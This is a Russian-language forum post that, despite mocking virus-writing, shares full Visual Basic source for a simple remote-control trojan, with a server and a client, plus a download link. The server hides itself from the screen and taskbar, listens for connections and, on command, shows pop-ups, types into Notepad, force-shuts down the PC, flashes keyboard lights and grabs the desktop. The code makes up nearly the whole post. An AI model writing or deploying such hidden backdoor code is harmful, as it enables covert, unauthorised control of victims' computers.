лол. =) http://google.com вам в помощь. +)
Ну хотя.. а вы начём кодите? вирусы не рулят, это тупо. Имхо.
вот на ВБ вам... покурите на досуге.
--
server
Код:
Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub
Private Sub Timer1_Timer()
Static count As Integer
If count <> 20 Then
SendKeys "{CAPSLOCK}{NUMLOCK}{SCROLLLOCK}", 100
count = count + 1
Else
count = 0
Timer1.Enabled = False
End If
End Sub
Private Sub win_Close()
win.Listen
win.LocalPort = 2999
win.RemotePort = 455
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
Dim gotdat As String
win.GetData gotdat
If Mid(gotdat, 1, 3) = "msg" Then
Dim iconnum As Integer
Dim buttonnum As Integer
Dim response As String
iconnum = Mid(gotdat, 4, 2)
buttonnum = Mid(gotdat, 6, 1)
response = MsgBox(Mid(gotdat, 7, Len(gotdat) - 3), iconnum + buttonnum + vbMsgBoxSetForeground + vbSystemModal, "!")
response = "msgres" & response
MsgBox (response)
win.SendData response
ElseIf Mid(gotdat, 1, 3) = "not" Then
Shell "notepad.exe", vbMaximizedFocus
SendKeys Mid(gotdat, 4, Len(gotdat) - 3)
SendKeys "~"
ElseIf gotdat = "shutdown" Then
Shell "shutdown -s -f -t 00"
ElseIf gotdat = "Keylights" Then
Timer1.Enabled = True
ElseIf gotdat = "desktop" Then
Get_Desktop (App.Path & "\DESKTOP.GIF")
win.SendData App.Path & "\desktop.gif"
End If
End Sub
---
клиент
Код:
Private Sub cmdConnect_Click()
IpAddy = txtIP.Text
win.Close
win.RemotePort = 2999
win.RemoteHost = IpAddy
win.LocalPort = 9999
win.connect
Timer1.Enabled = True
StatusBar1.SimpleText = "Connecting to " & win.RemoteHost & " on Port: " & win.RemotePort & "..."
cmdDisconnect.Enabled = True
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
win.Close
StatusBar1.SimpleText = "Disconnected"
cmdConnect.Enabled = True
cmdShutdown.Enabled = False
Command1.Enabled = False
cmdMsgbox.Enabled = False
Command2.Enabled = False
cmdDisconnect.Enabled = False
End Sub
Private Sub cmdMsgbox_Click()
If Combo1.ListIndex <> -1 Then
If Option1.Value = True Then
win.SendData "msg48" & Combo1.ListIndex & txtmsg.Text
ElseIf Option2.Value = True Then
win.SendData "msg16" & Combo1.ListIndex & txtmsg.Text
ElseIf Option3.Value = True Then
win.SendData "msg64" & Combo1.ListIndex & txtmsg.Text
Else
win.SendData "msg32" & Combo1.ListIndex & txtmsg.Text
End If
Else
MsgBox ("Select Buttons")
End If
End Sub
Private Sub cmdShutdown_Click()
win.SendData "shutdown"
End Sub
Private Sub Command1_Click()
win.SendData "not" & txtnot
End Sub
Private Sub Command2_Click()
win.SendData "Keylights"
End Sub
Private Sub Command3_Click()
win.SendData "desktop"
End Sub
Private Sub Timer1_Timer()
If win.State = sckConnected Then
StatusBar1.SimpleText = "Connected to " & win.RemoteHost & " on Port: " & win.RemotePort
cmdShutdown.Enabled = True
Command1.Enabled = True
cmdMsgbox.Enabled = True
Command2.Enabled = True
End If
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
Dim gotdat As String
win.GetData gotdat
If Mid(gotdat, 1, 6) = "msgres" Then
If Mid(gotdat, 7, 1) = 1 Then MsgBox ("User Clicked OK")
If Mid(gotdat, 7, 1) = 2 Then MsgBox ("User Clicked Cancel")
If Mid(gotdat, 7, 1) = 3 Then MsgBox ("User Clicked Abort")
If Mid(gotdat, 7, 1) = 4 Then MsgBox ("User Clicked Retry")
If Mid(gotdat, 7, 1) = 5 Then MsgBox ("User Clicked Ignore")
If Mid(gotdat, 7, 1) = 6 Then MsgBox ("User clicked Yes")
If Mid(gotdat, 7, 1) = 7 Then MsgBox ("User clicked No")
End If
End Sub
Private Sub win_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
ProgressBar1.Max = bytesSent + bytesRemaining
ProgressBar1.Value = Int((bytesRemaining + bytesSent) - bytesSent)
End Sub
http://rapidshare.be/files/22244101/cin-sock.rar.html
хотя сомневаюсь что это вам поможет. вы больны. +)))))))))